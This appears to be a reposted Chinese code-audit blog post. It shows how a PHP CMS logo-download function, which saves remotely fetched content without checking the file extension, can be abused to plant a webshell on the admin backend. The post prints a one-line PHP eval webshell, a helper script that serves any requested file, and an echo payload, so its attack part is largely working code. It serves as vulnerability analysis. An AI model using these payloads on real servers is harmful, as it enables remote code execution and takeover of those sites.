代码审计1
審計到比較有趣的一個點。
?
1.后臺getshell
?
class Flink{function downlogo($logourl){$url = parse_url($logourl);$logoname = str_replace(".","_",$url['host']).".".array_pop(explode(".",basename($logourl)));$path = PROJECT_PATH."public/uploads/logos/";if(!file_exists($path)){mkdir($path);}$location = $path.$logoname;$data = file_get_contents($logourl);if(strlen($data) > 0){file_put_contents($location,$data);return $logoname;}else{return false;?
首先對擴展名沒有過濾,然后file_get_contents讀取了網頁內容,于是我們構造php。代碼如下
當時我想到的是下載,我是構造了一個下載成功。
比如我們遠程構造任意文件下載,也可讀取到文件的內容。
例如。test3.php
<?php$filename=$_GET['file'];header("Content-Type: application/force-download");header("Content-Disposition: attachment; filename=".basename($filename));readfile($filename);?>?
test.php
<?php eval($_POST['a']);?>?
http://127.0.0.1/test/test3.php?file=test.php即可
同樣可以構造打印輸出,file_get_contents同樣可以獲取內容
echo '<?php @eval($_POST['a']);?>';?
即可在目錄下生成一句話。
?
轉載于:https://www.cnblogs.com/whoami101/p/5136798.html
總結
- 上一篇: 16.1.15随笔
- 下一篇: CentOS 6.x 快速安装L2TP